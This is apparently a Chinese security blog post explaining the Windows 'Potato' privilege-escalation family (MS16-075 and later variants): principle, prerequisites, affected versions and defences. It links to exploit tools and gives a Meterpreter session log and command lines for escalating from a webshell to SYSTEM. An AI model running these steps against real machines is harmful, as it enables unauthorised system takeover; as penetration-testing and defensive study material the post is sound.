-
什么是土豆提权 -
土豆提权的原理 -
土豆提权的利用条件 -
烂土豆(MS16-075)的影响版本 -
各版本的土豆提权工具(利用方法) -
为什么即使打了补丁,土豆提权依旧好用 -
如何防御土豆提权
0x01 什么是土豆提权
土豆提权最开始的版本就是RottenPotato,漏洞编号为MS16-075,可以将Windows工作站上的特权从最低级别提升到最高权限,即 NT AUTHORITY SYSTEM 权限。
RottenPotato工具:(以下三个版本,随意选择)
https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe
https://github.com/foxglovesec/RottenPotato
https://github.com/breenmachine/RottenPotatoNG/blob/master/RottenPotatoEXE/x64/Release/MSFRottenPotato.exe
0x02 土豆提权的原理
土豆系列提权的主要原理是诱导高权限访问低权限的系统对象,从而导致低权限的对象可以模拟高权限对象的访问令牌,进而可以用访问令牌创建进程,达到以高权限执行命令的目的。
其实原理很简单,这里通俗的描述一下你就明白了,就是一位旅客想要开总统房,但是职级不够,于是派自己的美女秘书吸引酒店的高管,使得两者之间有关系,借助这一层关系,模拟高管的权限,对酒店前台声称自己和酒店高管有关系,需要开总统房,这样就达到我们的目的了。
这里的 “派自己的美女秘书吸引酒店的高管” 就是一种诱导的方法,“对酒店前台声称自己和酒店高管有关系” 就是访问令牌的模拟。访问令牌的模拟才是关键,关于访问令牌模拟(Access Token Impersonation),@倾旋师傅的一篇文章已经对此解释过,我觉得其描述的更加好,我这里也不摘抄了,放下链接自己浏览学习。
https://payloads.online/archivers/2021-01-31/1#0x07-%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%E6%A8%A1%E6%8B%9Faccess-token-impersonation
0x03 土豆提权的利用条件
-
需要支持SeImpersonate或者SeAssignPrimaryToken权限(通常情况下IIS、MSSQL具有这两个权限)
-
开启DCOM
-
本地支持RPC或者远程服务器支持RPC并能成功登录
-
能够找到可用的COM对象
第一个条件的判断方法:
whoami /priv | findstr "SeImpersonate SeAssignPrimaryToken"
whoami /priv
whoami /all
第二个条件的判断方法:
打开运行窗口,输入 services.msc 打开服务列表,查找DCOM服务
第三个条件的判断方法:
打开运行窗口,输入 services.msc 打开服务列表,查找RPC服务
如果系统禁用了RPC,也不一定无法提权,但是需要满足另外一个条件,就是要找到其它系统中的用户是拥有一定权限能进行远程RPC登录的。而Windows Server 2008/2012、Windows 7、Windows 8等,在默认配置下,允许135端口的入站规则即可进行远程RPC登录。
第四个条件的判断方法:
打开此链接:
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
根据你当前遇到的目标系统类型进行匹配
可用的COM组件从列表中寻找,实际上是为了寻找COM组件的CLSID值。
然而,在实战环境下,其实大多数我们通常不会去判断这些条件是否成立,通常都是上传提权工具直接执行命令,说白了就是盲测。虽然利用方式非常简单,但是有时你会遇到一些错误,例如获取Access Token失败、RpcOpenPrinter Fail,导致问题产生的原因比较多,如果涉及RPC的,要查看RPC服务到底开启没有,当然,在webshell上是很难判断的,只能通过查看端口开放情况,看有没有开启111、135端口。如果是获取Access Token失败,那么就没办法提权了,因为令牌假冒、令牌窃取都是利用Windows的令牌模拟功能获取其他用户的令牌来创建进程,而现在利用Windows的令牌模拟功能获取不到用户令牌,就没办法创建进程,就无法提权。
0x04 烂土豆(MS16-075)的影响版本
Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-based Systems Service Pack 2
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows 8.1 for 32-bit Systems
Windows 8.1 for x64-based Systems
Windows RT 8.1
Windows Server 2012
Windows Server 2012 R2
Windows 10 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 Version 1511 for 32-bit Systems
Windows 10 Version 1511 for x64-based Systems
来自官方:
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-075
然而在实战情况下的效果却是,只有Windows 7 x86和x64系统上能够稳定立即提权,Windows Server 2008 R2 x64和Windows Server 2012 x64虽然可以提权,但是等待的时间比较长,这分别和Windows Updata时间、Windows更新证书列表时间有关。而Windows 8和10的成功率非常低,在实战当中不妨一试。
0x05 各版本的土豆提权工具(利用方法)
利用方法都比较简单,以下展示的都是webshell版,更贴合实战情况,按照命令执行即可。
(1)RottenPotato
下载地址:
https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe
利用MSF接收shell,接着在控制台输入以下命令:
msf exploit(web_delivery) > set ExitOnsession false
msf exploit(web_delivery) > run
meterpreter > getuid
Server username: IIS APPPOOLDefaultAppPool
meterpreter > getprivs
===========================================================
Enabled Process Privileges
===========================================================
SeAssignPrimaryTokenPrivilege
meterpreter > upload /root/potato.exe C:UsersPublic
meterpreter > cd C:\Users\Public
meterpreter > use incognito
meterpreter > list_tokens -u
NT AUTHORITYIUSR
meterpreter > execute -cH -f ./potato.exe
meterpreter > list_tokens -u
NT AUTHORITYIUSR
NT AUTHORITYSYSTEM
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
(2)JuicyPotato(RottenPotatoNG加强版)
下载地址:
https://github.com/uknowsec/JuicyPotato
使用方法:
JuicyPotato.exe -a "whoami"
(3)SweetPotato
下载地址:
https://github.com/uknowsec/SweetPotat
使用方法:
SweetPotato.exe -a whoami
(4)BadPotato
下载地址:
https://github.com/BeichenDream/BadPotato
使用方法:
BadPotato.exe whoami
这里提示 “RpcOpenPrinter Fail”,报错原因是我当前系统版本为Windows Server 2008 R2。Windows Server 2008以上默认是开启状态的,且此工具用于Windows Server 2012-2019和Windows 8/10。如果Windows Server 2012却还是利用失败,那很大原因是打印机服务被管理员关闭了。这里换成Windows Server 2012系统测试成功。
0x06 为什么即使打了补丁,土豆提权依旧好用
关于这个问题,我的理解就是,因为土豆提权的原理就是诱导高权限访问低权限的系统对象,从而导致低权限的对象可以模拟高权限对象的访问令牌,进而可以用访问令牌创建进程,达到以高权限执行命令的目的。此处的关键在于模拟访问令牌,只要达到令牌窃取创建进程的一些前提条件,就有机会利用此漏洞提权。而补丁是通过更正 Windows Server 消息块 (SMB) 服务器处理凭据转发请求的方式来解决此漏洞,并没有针对权限进行严格控制,所以才导致即使打了补丁,土豆提权依旧实用。
0x07 如何防御土豆提权
(1) 及时更新补丁
(2) 对SeImpersonate、SeAssignPrimaryToken权限进行严格控制
(3) 更新最新Windows系统(不太现实)
站在企业的角度出发,更新最新Windows系统/禁用DCOM、RPC或者为每一个COM对象配置属性等修复方法都不太现实,毕竟要结合风险、业务、网络、稳定等各种因素考虑,防御土豆提权的关键在于权限控制,当然,更新补丁也是非常有效的措施。
原文始发于微信公众号(Snaker独行者):土豆提权系列的学习理解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论